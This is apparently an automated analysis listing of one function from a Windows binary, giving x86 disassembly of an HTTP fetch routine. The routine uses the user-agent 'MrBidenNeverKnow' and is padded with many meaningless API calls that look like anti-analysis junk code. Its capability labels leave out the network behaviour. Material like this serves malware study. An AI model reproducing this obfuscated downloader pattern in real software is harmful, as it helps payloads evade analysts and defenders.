Function at 0x40af5d
Capabilities:
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41504c]
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0xc350
push 0x40
mov esi, ecx
call eax
mov ebx, eax
mov eax, dword [0x41504c]
push 0x18
push 0x40
mov dword [ebp - 0x1c], ebx
call eax
push 0x208
mov dword [ebp - 8], eax
mov eax, dword [0x41504c]
push 0x40
call eax
cmp word [esi], 0x68
mov dword [ebp - 4], eax
jne 0x40b3d3
push 0x74
pop eax
cmp word [esi + 2], ax
jne 0x40b3d3
cmp word [esi + 4], ax
jne 0x40b3d3
cmp word [esi + 6], 0x70
jne 0x40b3d3
movzx eax, word [esi + 8]
push dword [0x4154e0]
mov dword [ebp - 0x20], eax
mov eax, dword [0x415190]
push esi
call eax
add eax, 6
xor cl, cl
mov dword [ebp - 0x10], eax
xor edi, edi
push 0x2f
movzx eax, word [eax]
mov edx, eax
mov dword [ebp - 0x14], edx
pop edx
mov dword [ebp - 0x18], edx
cmp ax, dx
je 0x40b039
mov esi, dword [ebp - 8]
xor edx, edx
movzx ebx, ax
movzx eax, bx
cmp eax, 0x3a
jne 0x40b010
mov cl, 1
jmp 0x40b023
test cl, cl
jne 0x40b01d
mov ebx, dword [ebp - 4]
mov word [edx + ebx], ax
jmp 0x40b023
mov word [esi], ax
add esi, 2
mov eax, dword [ebp - 0x10]
inc edi
lea edx, [edi + edi]
movzx eax, word [edx + eax]
mov ebx, eax
cmp ax, word [ebp - 0x18]
jne 0x40b004
mov ebx, dword [ebp - 0x1c]
push dword [ebp - 8]
mov edi, dword [0x415090]
call edi
push dword [ebp - 4]
mov esi, eax
call edi
add esi, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + esi*2]
mov esi, dword [ebp - 8]
add eax, 2
mov dword [ebp - 0x1c], eax
mov eax, dword [0x415078]
push esi
call eax
push esi
mov edi, eax
call dword [0x4150cc]
mov eax, dword [0x4150e8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0xffffffffffffffff
push dword [ebp + 8]
push ecx
push 0xfde9
call eax
mov ecx, dword [0x41504c]
mov esi, eax
lea eax, [esi + 0x40]
push eax
push 0x40
call ecx
mov ecx, eax
mov dword [ebp - 8], ecx
test esi, esi
je 0x40b0be
mov eax, dword [0x4150e8]
xor edx, edx
push edx
push edx
push esi
push ecx
push 0xffffffffffffffff
push dword [ebp + 8]
push edx
push 0xfde9
call eax
test eax, eax
je 0x40b3d3
mov eax, dword [0x41512c]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push str.MrBidenNeverKnow
call eax
mov esi, eax
mov dword [ebp - 0x18], esi
test esi, esi
je 0x40b2a9
mov eax, dword [0x415184]
xor ecx, ecx
push 1
push ecx
push 3
push ecx
push ecx
push edi
push dword [ebp - 4]
push esi
call eax
mov edx, eax
mov dword [ebp - 0x14], edx
test edx, edx
je 0x40b2a2
cmp word [ebp - 0x20], 0x73
mov eax, 0x400000
mov ecx, dword [0x4150bc]
mov edi, 0xc00000
push 1
cmove eax, edi
push eax
push dword [ebp + 0x10]
push 0
push 0
push dword [ebp - 0x1c]
push dword [0x4152ac]
push edx
call ecx
mov edi, eax
test edi, edi
je 0x40b299
push dword [ebp - 8]
mov eax, dword [0x41519c]
mov esi, dword [0x415018]
call eax
mov ecx, dword [0x415090]
push eax
push dword [ebp - 8]
push dword [ebp + 0xc]
call ecx
push eax
push dword [ebp + 0xc]
push edi
call esi
test eax, eax
je 0x40b28f
push 0xc10
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.b12x9vew
push str.ort9hkq1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regp8tb0054
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLvotntp4p
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.tswncgxtb
call esi
xor eax, eax
push eax
push 0xc7c
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WTMR_rgj27qnx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.t0dqltc27
call esi
push str.WTMR_yii8umeo
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40b244
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push str.reg0kv5a3vl
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x40b24a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.ev_ark30ypg
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, 0xc350
jmp 0x40b27d
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40b28f
mov byte [eax + ebx], 0
mov eax, dword [0x415100]
lea ecx, [ebp - 0x10]
push ecx
push esi
push ebx
push edi
call eax
test eax, eax
jne 0x40b272
push edi
call dword [0x41506c]
mov esi, dword [ebp - 0x18]
push dword [ebp - 0x14]
call dword [0x41506c]
push esi
call dword [0x41506c]
push 0x833
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, eax
push str.omgq2nzb
push str.f145t4tc
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.WTMR_rl53dosl
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.40da1v7y
push str.ro9h4ava
mov esi, eax
call edi
test esi, esi
je 0x40b314
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regvkrmlxvn
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLzziqpor8
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.ev_k42qply2
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x41519c]
mov esi, dword [0x4150b0]
push 0
push 0
push ebx
call eax
inc eax
push eax
push ebx
push 0
push 0xfde9
call esi
mov ecx, eax
mov dword [ebp - 0x20], ecx
test ecx, ecx
je 0x40b3b3
mov eax, dword [0x41504c]
lea edi, [ecx + ecx]
push edi
push 0x40
call eax
push dword [ebp - 0x20]
mov ecx, dword [0x41519c]
mov esi, dword [0x4150b0]
push eax
push ebx
mov dword [ebp - 0xc], eax
call ecx
inc eax
push eax
push ebx
push 0
push 0xfde9
call esi
mov esi, dword [ebp - 0xc]
xor eax, eax
mov word [edi + esi - 2], ax
jmp 0x40b3b6
mov esi, dword [ebp - 0xc]
push dword [ebp - 8]
call dword [0x4150cc]
push dword [ebp - 4]
call dword [0x4150cc]
push ebx
call dword [0x4150cc]
mov eax, esi
jmp 0x40b3d5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret